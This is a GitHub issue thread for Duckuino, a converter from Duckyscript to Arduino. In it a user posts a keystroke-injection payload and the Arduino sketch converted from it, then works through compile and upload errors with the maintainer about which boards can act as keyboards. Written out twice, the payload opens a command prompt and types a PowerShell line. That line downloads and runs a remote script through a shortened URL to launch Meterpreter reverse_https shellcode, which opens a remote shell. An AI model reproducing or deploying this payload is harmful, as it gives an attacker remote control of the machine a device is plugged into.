Plazmaz / Duckuino

A basic Duckyscript to Arduino converter
MIT License
61 stars 23 forks source link

First attempt to convert duckyscript failed compilation #6

Closed BustedSec closed 8 years ago

BustedSec commented 8 years ago

The original duckyscript code DELAY 5000 GUI r DELAY 500 STRING cmd ENTER STRING cd %TEMP% ENTER STRING copy con met.cmd ENTER STRING start C:/Windows/System32/Ribbons.scr /s ENTER STRING powershell "IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/14bZZ0c'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost -Lport -Force" ENTER CTRL z ENTER DELAY 100 STRING met.cmd && exit ENTER

The converted code

/* Converted by Duckuino:

type(KEY_LEFT_GUI,false); type('R',false); Keyboard.releaseAll(); delay(500);

print(F("CMD"));

type(KEY_RETURN,false); Keyboard.releaseAll();

print(F("CD %TEMP%"));

type(KEY_RETURN,false); Keyboard.releaseAll();

print(F("COPY CON MET.CMD"));

type(KEY_RETURN,false); Keyboard.releaseAll();

print(F("START C:/WINDOWS/SYSTEM32/RIBBONS.SCR /S"));

type(KEY_RETURN,false); Keyboard.releaseAll();

print(F("POWERSHELL \"IEX (NEW-OBJECT NET.WEBCLIENT).DOWNLOADSTRING('HTTP://BIT.LY/14BZZ0C'); INVOKE-SHELLCODE -PAYLOAD WINDOWS/METERPRETER/REVERSE_HTTPS -LHOST -LPORT -FORCE\""));

type(KEY_RETURN,false); Keyboard.releaseAll();

type(KEY_LEFT_CTRL,false); type('Z',false); Keyboard.releaseAll();

type(KEY_RETURN,false); Keyboard.releaseAll(); delay(100);

print(F("MET.CMD && EXIT"));

type(KEY_RETURN,false); Keyboard.releaseAll(); Keyboard.end(); } void type(int key, boolean release) { Keyboard.press(key); if(release) Keyboard.release(key); } void print(const __FlashStringHelper *value) { Keyboard.print(value); } void loop(){}

The compilation error: C:\Users\HaVoK\Documents\Arduino\sketch_aug02a\sketch_aug02a.ino: In function 'void setup()':

sketch_aug02a:7: error: 'Keyboard' not found. Does your sketch include the line '#include '? Keyboard.begin();

^

sketch_aug02a:10: error: 'KEY_LEFT_GUI' was not declared in this scope

type(KEY_LEFT_GUI,false);

  ^

sketch_aug02a:17: error: 'KEY_RETURN' was not declared in this scope

type(KEY_RETURN,false);

  ^

sketch_aug02a:40: error: 'KEY_LEFT_CTRL' was not declared in this scope

type(KEY_LEFT_CTRL,false);

  ^

C:\Users\HaVoK\Documents\Arduino\sketch_aug02a\sketch_aug02a.ino: In function 'void type(int, boolean)':

sketch_aug02a:55: error: 'Keyboard' not found. Does your sketch include the line '#include '? Keyboard.press(key);

^

C:\Users\HaVoK\Documents\Arduino\sketch_aug02a\sketch_aug02a.ino: In function 'void print(const __FlashStringHelper*)':

sketch_aug02a:60: error: 'Keyboard' not found. Does your sketch include the line '#include '? Keyboard.print(value);

^

exit status 1 'Keyboard' not found. Does your sketch include the line '#include '?

*btw, thanks for fixing the previous issue so fast.

Plazmaz commented 8 years ago

Have you tried including the keyboard library? Also, what device is this running on?

BustedSec commented 8 years ago

I am using a mini clone - I added the keyboard.h include, it complied but produces a java error when uploading to the board, I'm investigating the cause.

Arduino: 1.6.10 Hourly Build 2016/07/26 03:33 (Windows 10), Board: "Arduino/Genuino Micro"

Sketch uses 5,798 bytes (20%) of program storage space. Maximum is 28,672 bytes. Global variables use 219 bytes (8%) of dynamic memory, leaving 2,341 bytes for local variables. Maximum is 2,560 bytes. java.io.IOException: Cannot run program "{runtime.tools.avrdude.path}/bin/avrdude": CreateProcess error=2, The system cannot find the file specified at java.lang.ProcessBuilder.start(ProcessBuilder.java:1048) at processing.app.helpers.ProcessUtils.exec(ProcessUtils.java:26) at cc.arduino.packages.Uploader.executeUploadCommand(Uploader.java:130) at cc.arduino.packages.uploaders.SerialUploader.uploadUsingPreferences(SerialUploader.java:209) at cc.arduino.UploaderUtils.upload(UploaderUtils.java:78) at processing.app.Sketch.upload(Sketch.java:1187) at processing.app.Sketch.exportApplet(Sketch.java:1160) at processing.app.Sketch.exportApplet(Sketch.java:1132) at processing.app.Editor$DefaultExportHandler.run(Editor.java:2409) at java.lang.Thread.run(Thread.java:745) Caused by: java.io.IOException: CreateProcess error=2, The system cannot find the file specified at java.lang.ProcessImpl.create(Native Method) at java.lang.ProcessImpl.(ProcessImpl.java:386) at java.lang.ProcessImpl.start(ProcessImpl.java:137) at java.lang.ProcessBuilder.start(ProcessBuilder.java:1029) ... 9 more An error occurred while uploading the sketch

This report would have more information with "Show verbose output during compilation" option enabled in File -> Preferences.

Plazmaz commented 8 years ago

I don't believe the Arduino mini has support for keyboard input. The two models I know of are the Leonardo and the nano.

BustedSec commented 8 years ago

I believe you are correct. It has the duemilanove bootloader on it and from my research I thought that would be enough to get the kb emulation to work, apparantly I was wrong. I'll grab a nano or leo when I get back from defcon and try again. Feel free to mark issue resolved, it's likely on my end since it'll compile if I select one of the other boards.

techsetonyoutube commented 7 years ago

Not the nano the pro micro, i'm pretty sure!